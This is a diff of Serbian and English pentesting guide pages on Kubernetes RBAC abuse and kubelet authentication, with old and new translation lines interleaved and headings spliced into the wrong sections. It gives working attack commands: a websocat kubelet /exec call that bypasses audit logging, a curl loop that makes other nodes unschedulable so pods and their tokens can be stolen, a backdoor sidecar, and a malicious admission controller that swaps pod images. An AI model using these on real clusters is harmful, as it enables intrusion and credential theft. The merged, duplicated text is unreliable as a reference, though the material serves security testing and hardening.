Principali koji mogu da **`update`** ili **`patch`** **`pods/ephemeralcontainers`** mogu steći **izvršavanje koda na drugim pod-ovima**, i potencijalno **break out** na njihov node dodavanjem ephemeral container-a sa privileged securityContext-om
### ValidatingWebhookConfigurations ili MutatingWebhookConfigurations
### ValidatingWebhookConfigurations or MutatingWebhookConfigurations
Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogli bi biti u mogućnosti da **kreiraju jednu od takvih webhookconfigurations** kako bi mogli da **escaliraju privilegije**.
Principali sa bilo kojim od glagola `create`, `update` ili `patch` nad `validatingwebhookconfigurations` ili `mutatingwebhookconfigurations` mogu biti u mogućnosti da kreiraju jednu od takvih webhook konfiguracija kako bi mogli da **eskaliraju privilegije**.
Za [`mutatingwebhookconfigurations` primer proverite ovu sekciju ovog posta](#malicious-admission-controller).
For a [`mutatingwebhookconfigurations` example check this section of this post](#malicious-admission-controller).
### Eskalirati
### Escalate
Kao što možete pročitati u sledećoj sekciji: [**Ugrađena prevencija eskalacije privilegija**](#built-in-privileged-escalation-prevention), principal ne može ažurirati niti kreirati uloge ili clusterrole bez da sam ima te nove dozvole. Osim ako ima **glagol `escalate` ili `*`** nad **`roles`** ili **`clusterroles`** i odgovarajuće opcije vezivanja.\
Tada može ažurirati/kreati nove uloge, clusterrole sa boljim dozvolama od onih koje ima.
Kao što možeš pročitati u sledećoj sekciji: [**Built-in Privileged Escalation Prevention**](#built-in-privileged-escalation-prevention), principal ne može ni da ažurira ni da kreira roles ili clusterroles bez toga da sam poseduje te nove dozvole. Osim ako ima **verb `escalate` or `*`** over **`roles`** or **`clusterroles`** and the respective binding options.\
Tada može da ažurira/kreira nove roles, clusterroles sa boljim dozvolama nego koje on ima.
### Nodes proxy
Principali sa pristupom **`nodes/proxy`** podresursu mogu **izvršavati kod na podovima** putem Kubelet API (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici:
Principali sa pristupom do **`nodes/proxy`** subresursa mogu **izvršavati kod u podovima** preko Kubelet API-ja (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/nodes_proxy.rego)). Više informacija o Kubelet autentifikaciji na ovoj stranici:
{{#ref}}
../pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
{{#endref}}
Imate primer kako dobiti [**RCE razgovarajući autorizovano sa Kubelet API ovde**](../pentesting-kubernetes-services/index.html#kubelet-rce).
#### nodes/proxy GET -> Kubelet /exec via WebSocket verb confusion
### Brisanje podova + neschedulabilni čvorovi
- Kubelet preslikava HTTP metode u RBAC glagole **pre** nego što dođe do nadogradnje protokola. WebSocket handshakes moraju početi sa **HTTP GET** (`Connection: Upgrade`), pa se `/exec` preko WebSocket-a proverava kao **verb `get`** umesto očekivanog `create`.
- `/exec`, `/run`, `/attach`, and `/portforward` nisu eksplicitno mapirani i potpadaju pod podrazumevani **`proxy`** subresource, tako da autorizaciono pitanje postaje **`can <user> get nodes/proxy?`**
- Ako token ima samo **`nodes/proxy` + `get`**, direktan WebSocket pristup kubelet-u na `https://<node_ip>:10250` dozvoljava proizvoljno izvršavanje komandi u bilo kom pod-u na tom nodu. Isti zahtev preko API server proxy puta (`/api/v1/nodes/<node>/proxy/exec/...`) se odbija zato što je to običan HTTP POST i mapira se na `create`.
- Kubelet ne vrši drugu autorizaciju nakon WebSocket nadogradnje; samo se inicijalni GET procenjuje.
Principali koji mogu **brisati podove** (`delete` glagol nad `pods` resursom), ili **izbacivati podove** (`create` glagol nad `pods/eviction` resursom), ili **menjati status podova** (pristup `pods/status`) i mogu **učiniti druge čvorove neschedulabilnim** (pristup `nodes/status`) ili **brisati čvorove** (`delete` glagol nad `nodes` resursom) i imaju kontrolu nad podom, mogli bi **ukrasti podove sa drugih čvorova** tako da se **izvršavaju** na **kompromitovanom** **čvoru** i napadač može **ukrasti tokene** iz tih podova.
**Direktan exploit (zahteva mrežnu dostupnost do kubelet-a i token sa `nodes/proxy` GET):**
```bash
kubectl auth can-i --list | grep "nodes/proxy"
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol "v4.channel.k8s.io" \
"wss://$NODE_IP:10250/exec/$NAMESPACE/$POD/$CONTAINER?output=1&error=1&command=id"
```
- Koristite **Node IP**, a ne ime node-a. Isti zahtev sa `curl -X POST` biće **Forbidden** zato što se mapira na `create`.
- Direktan pristup kubelet-a zaobilazi API server, tako da AuditPolicy prikazuje samo `subjectaccessreviews` od kubelet user agenta i **ne beleži `pods/exec`** komande.
- Enumerišite pogođene service accounts pomoću [detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a) da pronađete tokens ograničene na `nodes/proxy` GET.
### Brisanje pods + onemogućavanje raspoređivanja na nodes
Subjekti koji mogu **izbrisati pods** (`delete` verb over `pods` resource), ili **izbaciti pods** (`create` verb over `pods/eviction` resource), ili **promeniti status poda** (pristup `pods/status`) i mogu **učiniti druge nodes nepodesnim za raspoređivanje** (pristup `nodes/status`) ili **izbrisati nodes** (`delete` verb over `nodes` resource) i imaju kontrolu nad jednim podom, mogu **ukrasti pods sa drugih nodes** tako da se oni **izvrše** na **kompromitovanom** **node-u** i napadač može **ukrasti the tokens** iz tih podova.
```bash
patch_node_capacity(){
curl -s -X PATCH 127.0.0.1:8001/api/v1/nodes/$1/status -H "Content-Type: json-patch+json" -d '[{"op": "replace", "path":"/status/allocatable/pods", "value": "0"}]'
@@ -641,41 +657,41 @@ while true; do patch_node_capacity <id_other_node>; done &
kubectl delete pods -n kube-system <privileged_pod_name>
```
### Status usluga (CVE-2020-8554)
### Status servisa (CVE-2020-8554)
Principali koji mogu **modifikovati** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **neispravljeni CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mera za ublažavanje CVE-2020-8554 samo sprečava ExternalIP usluge (prema [**ovome**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
Subjekti koji mogu **izmeniti** **`services/status`** mogu postaviti polje `status.loadBalancer.ingress.ip` da iskoriste **neispravljen CVE-2020-8554** i pokrenu **MiTM napade protiv klastera**. Većina mitigacija za CVE-2020-8554 sprečava samo ExternalIP services (prema [**this**](https://github.com/PaloAltoNetworks/rbac-police/blob/main/lib/modify_service_status_cve_2020_8554.rego)).
### Status čvorova i podova
Principali sa **`update`** ili **`patch`** dozvolama nad `nodes/status` ili `pods/status`, mogli bi modifikovati oznake kako bi uticali na ograničenja raspoređivanja.
Subjekti koji imaju **`update`** ili **`patch`** dozvole nad `nodes/status` ili `pods/status`, mogu izmeniti labele da utiču na primenjena ograničenja raspoređivanja.
## Ugrađena prevencija eskalacije privilegija
## Ugrađena zaštita od eskalacije privilegija
Kubernetes ima [ugrađeni mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija.
Kubernetes ima [ugrađen mehanizam](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#privilege-escalation-prevention-and-bootstrapping) za sprečavanje eskalacije privilegija.
Ovaj sistem osigurava da **korisnici ne mogu povećati svoje privilegije modifikovanjem uloga ili veza uloga**. Sprovođenje ovog pravila se dešava na API nivou, pružajući zaštitu čak i kada je RBAC autorizator neaktivan.
Ovaj sistem osigurava da **korisnici ne mogu povisiti svoje privilegije modifikovanjem rola ili role binding-a**. Sprovođenje ovog pravila vrši se na nivou API-ja, obezbeđujući zaštitu čak i kada je RBAC authorizer neaktivan.
Pravilo stipulira da **korisnik može kreirati ili ažurirati ulogu samo ako poseduje sve dozvole koje uloga obuhvata**. Štaviše, opseg postojećih dozvola korisnika mora se poklapati sa onim uloge koju pokušava da kreira ili modifikuje: ili na nivou klastera za ClusterRoles ili ograničeno na istu namespace (ili na nivou klastera) za Roles.
Pravilo predviđa da **korisnik može kreirati ili ažurirati rolu samo ako poseduje sve dozvole koje ta rola obuhvata**. Štaviše, obim postojećih dozvola korisnika mora biti usklađen sa obimom role koju pokušava da kreira ili izmeni: ili na nivou klastera za ClusterRoles ili ograničen na isti namespace (ili na nivou klastera) za Roles.
> [!WARNING]
> Postoji izuzetak od prethodnog pravila. Ako neki principal ima **glagol `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije uloga i clusterroles čak i bez da ih sam poseduje.
> Postoji izuzetak od prethodnog pravila. Ako subjekt ima **verb `escalate`** nad **`roles`** ili **`clusterroles`**, može povećati privilegije rola i clusterrole čak i bez posedovanja tih dozvola.
### **Dobijanje i patch RoleBindings/ClusterRoleBindings**
### **Get & Patch RoleBindings/ClusterRoleBindings**
> [!CAUTION]
> **Očigledno je da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/modifikovati rolebinding da biste sebi ili drugom SA dali neke privilegije ako ih već nemate.**
> **Izgleda da je ova tehnika ranije radila, ali prema mojim testovima više ne funkcioniše iz istog razloga objašnjenog u prethodnom odeljku. Ne možete kreirati/izmeniti rolebinding da biste sebi ili drugom SA dodelili neke privilegije ako ih već nemate.**
Privilegija za kreiranje Rolebindings omogućava korisniku da **veže uloge za servisni nalog**. Ova privilegija može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže administratorske privilegije za kompromitovani servisni nalog.**
Dozvola za kreiranje Rolebinding-a omogućava korisniku da **veže role za service account**. Ova dozvola može potencijalno dovesti do eskalacije privilegija jer **omogućava korisniku da veže admin privilegije za kompromitovani service account.**
## Ostali napadi
### Sidecar proxy aplikacija
### Sidecar proxy app
Po defaultu, ne postoji nikakva enkripcija u komunikaciji između podova. Uzajamna autentifikacija, dvosmerna, pod do poda.
Podrazumevano ne postoji enkripcija u komunikaciji između podova. Mutual authentication, dvosmerna, pod-to-pod.
#### Kreiranje sidecar proxy aplikacije
#### Kreirajte sidecar proxy aplikaciju
Sidecar kontejner se sastoji samo od dodavanja **drugog (ili više) kontejnera unutar poda**.
Sidecar container se sastoji u dodavanju **drugog (ili više) kontejnera unutar poda**.
Na primer, sledeće je deo konfiguracije poda sa 2 kontejnera:
```yaml
@@ -687,15 +703,15 @@ image: nginx
image: busybox
command: ["sh","-c","<execute something in the same pod but different container>"]
```
Na primer, da biste uneli backdoor u postojeći pod sa novim kontejnerom, možete jednostavno dodati novi kontejner u specifikaciju. Imajte na umu da možete **dati više dozvola** drugom kontejneru koje prvi neće imati.
For example, to backdoor an existing pod with a new container you could just add a new container in the specification. Note that you could **give more permissions** to the second container that the first won't have.
Više informacija na: [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)
### Malicious Admission Controller
### Zlonamerni Admission Controller
Admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što dođe do trajanja objekta, ali **nakon što je zahtev autentifikovan** **i autorizovan**.
An admission controller **presreće zahteve ka Kubernetes API serveru** pre nego što se objekat bude perzistiran, ali **nakon što je zahtev autentifikovan** **i autorizovan**.
Ako napadač nekako uspe da **ubaci Mutation Admission Controller**, moći će da **modifikuje već autentifikovane zahteve**. Biće u mogućnosti da potencijalno izvrši privesc, i obično da se zadrži u klasteru.
Ako napadač nekako uspe da **inject a Mutation Admission Controller**, biće u mogućnosti da **izmeni već autentifikovane zahteve**. To može potencijalno dovesti do privesc-a, a češće omogućiti perzistenciju u cluster-u.
**Primer iz** [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers):
```bash
@@ -709,25 +725,23 @@ Proverite status da vidite da li je spremno:
kubectl get mutatingwebhookconfigurations
kubectl get deploy,svc -n webhook-demo
```
![mutating-webhook-status-check.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433436353/yHUvUWugR.png?auto=compress,format&format=webp)
Zatim implementirajte novi pod:
Zatim pokrenite novi pod:
```bash
kubectl run nginx --image nginx
kubectl get po -w
```
Kada vidite grešku `ErrImagePull`, proverite ime slike pomoću jednog od upita:
Kada vidite grešku `ErrImagePull`, proverite ime image-a pomoću bilo kojeg od sledećih upita:
```bash
kubectl get po nginx -o=jsonpath='{.spec.containers[].image}{"\n"}'
kubectl describe po nginx | grep "Image: "
```
![malicious-admission-controller.PNG](https://cdn.hashnode.com/res/hashnode/image/upload/v1628433512073/leFXtgSzm.png?auto=compress,format&format=webp)
Kao što možete videti na gornjoj slici, pokušali smo da pokrenemo sliku `nginx`, ali je konačno izvršena slika `rewanthtammana/malicious-image`. Šta se upravo desilo!!?
Kao što se vidi na gornjoj slici, pokušali smo da pokrenemo image `nginx`, ali je konačno izvršen image `rewanthtammana/malicious-image`. Šta se upravo desilo!!?
#### Tehnički detalji
#### Tehničke pojedinosti
Skript `./deploy.sh` uspostavlja mutirajući webhook admission controller, koji modifikuje zahteve ka Kubernetes API-ju kako je navedeno u njegovim konfiguracionim linijama, utičući na posmatrane rezultate:
Skript `./deploy.sh` uspostavlja mutating webhook admission controller, koji menja zahteve ka Kubernetes API kako je navedeno u linijama njegove konfiguracije, utičući na posmatrane rezultate:
```
patches = append(patches, patchOperation{
Op: "replace",
@@ -735,9 +749,9 @@ Path: "/spec/containers/0/image",
Value: "rewanthtammana/malicious-image",
})
```
Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`.
Gornji isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanthtammana/malicious-image`.
## OPA Gatekeeper zaobilaženje
## OPA Gatekeeper bypass
{{#ref}}
../kubernetes-opa-gatekeeper/kubernetes-opa-gatekeeper-bypass.md
@@ -747,16 +761,16 @@ Gore navedeni isječak zamenjuje prvu sliku kontejnera u svakom podu sa `rewanth
### **Onemogućavanje automount-a tokena servisnog naloga**
- **Podovi i servisni nalozi**: Podovi po defaultu montiraju token servisnog naloga. Da bi se poboljšala sigurnost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- **Kako primeniti**: Postavite `automountServiceAccountToken: false` u konfiguraciji servisnih naloga ili podova počevši od Kubernetes verzije 1.6.
- **Pods and Service Accounts**: Po defaultu, podovi montiraju token servisnog naloga. Da bi se poboljšala bezbednost, Kubernetes omogućava onemogućavanje ove automount funkcije.
- **How to Apply**: Set `automountServiceAccountToken: false` in the configuration of service accounts or pods starting from Kubernetes version 1.6.
### **Restriktivno dodeljivanje korisnika u RoleBindings/ClusterRoleBindings**
- **Selektivno uključivanje**: Osigurajte da su samo neophodni korisnici uključeni u RoleBindings ili ClusterRoleBindings. Redovno vršite reviziju i uklanjajte irelevantne korisnike kako biste održali visoku sigurnost.
- **Selective Inclusion**: Uverite se da su u RoleBindings ili ClusterRoleBindings uključeni samo neophodni korisnici. Redovno pregledajte i uklanjajte nebitne korisnike kako biste održali strogu bezbednost.
### **Uloge specifične za namespace umesto uloga na nivou klastera**
- **Uloge vs. ClusterRoles**: Preferirajte korišćenje Uloga i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje se primenjuju na nivou klastera. Ovaj pristup nudi finiju kontrolu i ograničava opseg dozvola.
- **Roles vs. ClusterRoles**: Preferirajte korišćenje Roles i RoleBindings za dozvole specifične za namespace umesto ClusterRoles i ClusterRoleBindings, koje važe na nivou celog klastera. Ovakav pristup daje finiju kontrolu i ograničava obim dozvola.
### **Koristite automatizovane alate**
@@ -772,12 +786,15 @@ https://github.com/aquasecurity/kube-hunter
https://github.com/aquasecurity/kube-bench
{{#endref}}
## **Reference**
## **References**
- [**https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions**](https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions)
- [**https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1**](https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1)
- [**https://blog.rewanthtammana.com/creating-malicious-admission-controllers**](https://blog.rewanthtammana.com/creating-malicious-admission-controllers)
- [**https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html**](https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html)
- [**https://kubenomicon.com/**](https://kubenomicon.com/)
- [nodes/proxy GET -> kubelet exec WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
- [nodes/proxy GET detection script](https://gist.github.com/grahamhelton/f5c8ce265161990b0847ac05a74e466a)
- [websocat](https://github.com/vi/websocat)
{{#include ../../../banners/hacktricks-training.md}}
@@ -1,24 +1,24 @@
# Kubelet Authentication & Authorization
# Kubelet autentikacija i autorizacija
{{#include ../../../banners/hacktricks-training.md}}
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet autentikacija <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**Iz dokumenata:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane drugih konfigurisanih metoda autentifikacije tretiraju se kao anonimni zahtevi, i dodeljuju im se **korisničko ime `system:anonymous`** i **grupa `system:unauthenticated`**.
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **korisničko ime `system:anonymous`** and a **grupa `system:unauthenticated`**.
**3** metode **autentifikacije** su:
Postoje **3** metode autentikacije su:
- **Anonimna** (default): Koristite postavku postavljanjem parametra **`--anonymous-auth=true` ili konfiguracije:**
- **Anonymous** (podrazumevano): Dozvoljeno ako je podešen parametar **`--anonymous-auth=true`** ili u konfiguraciji:
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokene** kao autorizaciju (bilo koji validan token će biti validan). Dozvolite to sa:
- osigurajte da je `authentication.k8s.io/v1beta1` API grupa omogućena na API serveru
- **Webhook**: Ovo će **omogućiti** kubectl **API bearer tokens** kao autorizaciju (bilo koji važeći token će biti važeći). Dozvolite to sa:
- osigurajte da je `authentication.k8s.io/v1beta1` API grupa omogućena u API serveru
- pokrenite kubelet sa **`--authentication-token-webhook`** i **`--kubeconfig`** zastavicama ili koristite sledeće podešavanje:
```json
"authentication": {
@@ -28,11 +28,11 @@ Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane dr
},
```
> [!NOTE]
> Kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da **utvrdi informacije o korisniku** iz bearer tokena
> Kubelet poziva **`TokenReview` API** na konfigurisanom API serveru da bi **odredio informacije o korisniku** iz bearer tokena
>
- **X509 klijentski sertifikati:** Omogućavaju autentifikaciju putem X509 klijentskih sertifikata
- pogledajte [dokumentaciju o autentifikaciji apiservera](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) za više detalja
- pokrenite kubelet sa `--client-ca-file` flagom, pružajući CA paket za verifikaciju klijentskih sertifikata. Ili sa konfiguracijom:
- pogledajte [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) za više detalja
- pokrenite kubelet sa `--client-ca-file` flagom, obezbeđujući CA bundle za verifikaciju klijentskih sertifikata. Ili sa konfiguracijom:
```json
"authentication": {
"x509": {
@@ -40,16 +40,16 @@ Po defaultu, zahtevi ka kubelet-ovom HTTPS kraju koji nisu odbijeni od strane dr
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
## Kubelet autorizacija <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Svaki zahtev koji je uspešno autentifikovan (uključujući anonimni zahtev) **zatim se autorizuje**. **Podrazumevani** način autorizacije je **`AlwaysAllow`**, koji **dozvoljava sve zahteve**.
Svaki zahtev koji je uspešno autentifikovan (uključujući anonimni zahtev) **se zatim autorizuje**. Podrazumevani režim autorizacije je **`AlwaysAllow`**, koji **dozvoljava sve zahteve**.
Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **najčešće pronaći napolju**). Ovaj način će **proveriti dozvole autentifikovanog korisnika** da dozvoli ili zabrani neku akciju.
Međutim, druga moguća vrednost je **`webhook`** (što je ono što ćete **uglavnom sresti napolju**). Ovaj režim će **proveriti dozvole autentifikovanog korisnika** da dozvoli ili onemogući neku akciju.
> [!WARNING]
> Imajte na umu da čak i ako je **anonimna autentifikacija omogućena**, **anonimni pristup** možda **nema nikakve dozvole** za izvršavanje bilo koje akcije.
> Imajte na umu da čak i ako je **anonimna autentifikacija omogućena**, **anonimni pristup** možda **nema nikakve dozvole** za izvođenje bilo koje akcije.
Autorizacija putem webhook-a može se konfigurisati koristeći **parametar `--authorization-mode=Webhook`** ili putem konfiguracione datoteke sa:
Autorizacija preko webhook-a se može konfigurisati koristeći **parametar `--authorization-mode=Webhook`** ili putem konfiguracionog fajla sa:
```json
"authorization": {
"mode": "Webhook",
@@ -59,41 +59,45 @@ Autorizacija putem webhook-a može se konfigurisati koristeći **parametar `--au
}
},
```
Kubelet poziva **`SubjectAccessReview`** API na konfigurisanom API serveru da **utvrdi** da li je svaki zahtev **ovlašćen.**
Kubelet poziva **`SubjectAccessReview`** API na konfigurisanom API serveru da **utvrdi** da li je svaki zahtev **autorizovan.**
Kubelet ovlašćuje API zahteve koristeći isti [pristup atributima zahteva](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) kao apiserver:
Kubelet autorizuje API zahteve koristeći isti [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) pristup kao apiserver:
- **Akcija**
| HTTP glagol | glagol zahteva |
| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | kreirati |
| GET, HEAD | dobiti (za pojedinačne resurse), lista (za kolekcije, uključujući puni sadržaj objekta), posmatrati (za posmatranje pojedinačnog resursa ili kolekcije resursa) |
| PUT | ažurirati |
| PATCH | zakrpa |
| DELETE | obrisati (za pojedinačne resurse), obrisati kolekciju (za kolekcije) |
| HTTP verb | request verb |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
- **Resurs** koji komunicira sa Kubelet API je **uvek** **čvorovi**, a **podresurs** se **utvrđuje** iz putanje dolaznog zahteva:
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
| Kubelet API | resurs | podresurs |
| Kubelet API | resurs | subresurs |
| ------------ | ------ | --------- |
| /stats/\* | čvorovi| statistika |
| /metrics/\* | čvorovi| metrički |
| /logs/\* | čvorovi| log |
| /spec/\* | čvorovi| specifikacija |
| _svi ostali_ | čvorovi| proxy |
| /stats/* | nodes | stats |
| /metrics/* | nodes | metrics |
| /logs/* | nodes | log |
| /spec/* | nodes | spec |
| _all others_ | nodes | proxy |
Na primer, sledeći zahtev je pokušao da pristupi informacijama o podovima kubeleta bez dozvole:
> [!NOTE]
> WebSocket-based `/exec`, `/run`, `/attach`, and `/portforward` fall into the default **proxy** subresource and are authorized using the initial HTTP **GET** handshake. A principal with only `nodes/proxy` **GET** can still exec containers if it connects directly to `https://<node_ip>:10250` over WebSockets. See the [nodes/proxy GET -> Kubelet /exec verb confusion abuse](../abusing-roles-clusterroles-in-kubernetes/README.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion) for details.
Na primer, sledeći zahtev je pokušao da pristupi informacijama o pods kubeleta bez dozvole:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- Dobijamo **Zabranjeno**, tako da je zahtev **prošao proveru autentifikacije**. Da nije, dobili bismo samo `Neovlašćen` poruku.
- Možemo videti **korisničko ime** (u ovom slučaju iz tokena)
- Proverite kako je **resurs** bio **čvorovi** i **podresurs** **proxy** (što ima smisla sa prethodnim informacijama)
- Dobili smo **Forbidden**, dakle zahtev je **passed the Authentication check**. Da nije tako, dobili bismo samo `Unauthorised` poruku.
- Možemo videti **username** (u ovom slučaju iz tokena)
- Pogledajte kako je **resource** bio **nodes** i **subresource** **proxy** (što je u skladu sa prethodnim informacijama)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
- [nodes/proxy GET -> kubelet exec via WebSocket bypass](https://grahamhelton.com/blog/nodes-proxy-rce)
{{#include ../../../banners/hacktricks-training.md}}